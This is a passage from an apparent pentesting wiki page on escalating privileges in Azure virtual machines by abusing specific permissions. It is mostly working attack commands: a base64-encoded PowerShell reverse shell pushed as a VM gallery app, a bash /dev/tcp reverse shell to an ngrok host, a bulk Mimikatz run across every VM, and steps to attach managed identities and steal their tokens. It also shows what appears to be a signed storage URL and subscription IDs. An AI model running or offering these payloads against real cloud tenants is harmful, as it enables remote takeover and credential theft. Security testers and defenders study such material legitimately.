kAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
## Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
|
||||
# The content of
|
||||
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
|
||||
|
||||
# Try to run in every machine
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user